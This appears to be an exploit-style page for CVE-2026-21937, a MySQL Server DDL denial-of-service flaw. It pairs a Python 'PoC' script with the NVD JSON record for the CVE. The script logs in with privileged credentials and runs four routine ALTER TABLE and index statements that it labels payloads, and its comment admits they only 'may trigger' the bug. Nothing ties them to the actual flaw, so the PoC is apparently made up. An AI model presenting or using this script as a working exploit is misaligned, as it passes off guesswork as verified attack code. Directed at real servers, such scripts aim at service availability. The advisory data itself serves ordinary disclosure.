CVE-2026-21937

# CVE-2026-21937 PoC - MySQL DDL DoS # Requires high-privilege MySQL user credentials import mysql.connector import sys def test_ddl_dos(target_host, username, password, database='mysql'): """ Test for CVE-2026-21937 DDL component DoS vulnerability """ try: # Connect to MySQL server with high privilege user conn = mysql.connector.connect( host=target_host, user=username, password=password, database=database ) cursor = conn.cursor() # Create a test table cursor.execute("CREATE TABLE IF NOT EXISTS test_cve21937 (id INT PRIMARY KEY, data VARCHAR(255))") # Attempt to trigger the vulnerability through DDL operation # This specific pattern may trigger the DDL component bug ddl_payloads = [ "ALTER TABLE test_cve21937 ADD COLUMN new_col VARCHAR(100) AFTER id", "ALTER TABLE test_cve21937 DROP COLUMN new_col", "CREATE INDEX idx_test ON test_cve21937(data)", "DROP INDEX idx_test ON test_cve21937" ] for payload in ddl_payloads: try: cursor.execute(payload) print(f"[+] Executed: {payload}") except mysql.connector.Error as e: print(f"[!] Error executing {payload}: {e}") # Cleanup cursor.execute("DROP TABLE IF EXISTS test_cve21937") cursor.close() conn.close() except mysql.connector.Error as e: print(f"[-] Connection error: {e}") sys.exit(1) if __name__ == "__main__": if len(sys.argv) < 4: print("Usage: python cve-2026-21937-poc.py <host> <user> <password>") sys.exit(1) test_ddl_dos(sys.argv[1], sys.argv[2], sys.argv[3])

{"cve": {"id": "CVE-2026-21937", "sourceIdentifier": "[email protected]", "published": "2026-01-20T22:15:56.410", "lastModified": "2026-01-29T15:32:36.583", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: DDL). Supported versions that are affected are 8.0.0-8.0.44, 8.4.0-8.4.7 and 9.0.0-9.5.0. Easily exploitable vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 4.9 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H)."}, {"lang": "es", "value": "Vulnerabilidad en el producto MySQL Server de Oracle MySQL (componente: Server: DDL). Las versiones compatibles afectadas son 8.0.0-8.0.44, 8.4.0-8.4.7 y 9.0.0-9.5.0. Una vulnerabilidad fácilmente explotable permite a un atacante con altos privilegios con acceso a la red a través de múltiples protocolos comprometer el MySQL Server. Los ataques exitosos de esta vulnerabilidad pueden resultar en la capacidad no autorizada de causar un bloqueo o una caída frecuentemente repetible (DoS completo) del MySQL Server. Puntuación base CVSS 3.1 de 4.9 (Impactos en la disponibilidad). Vector CVSS: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H)."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H", "baseScore": 4.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:oracle:mysql_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.0.0", "versionEndIncluding": "8.0.44", "matchCriteriaId": "C31CF81B-A295-4D90-84D3-377D7184D59D"}, {"vulnerable": true, "criteria": "cpe:2.3:a:oracle:mysql_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.4.0", "versionEndIncluding": "8.4.7", "matchCriteriaId": "19AAA920-1429-4F6F-A191-31632570991C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:oracle:mysql_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "9.0.0", "versionEndIncluding": "9.5.0", "matchCriteriaId": "80A941A0-B16F-477B-9062-EF768F4CAAD4"}]}]}], "references": [{"url": "https://www.oracle.com/security-alerts/cpujan2026.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}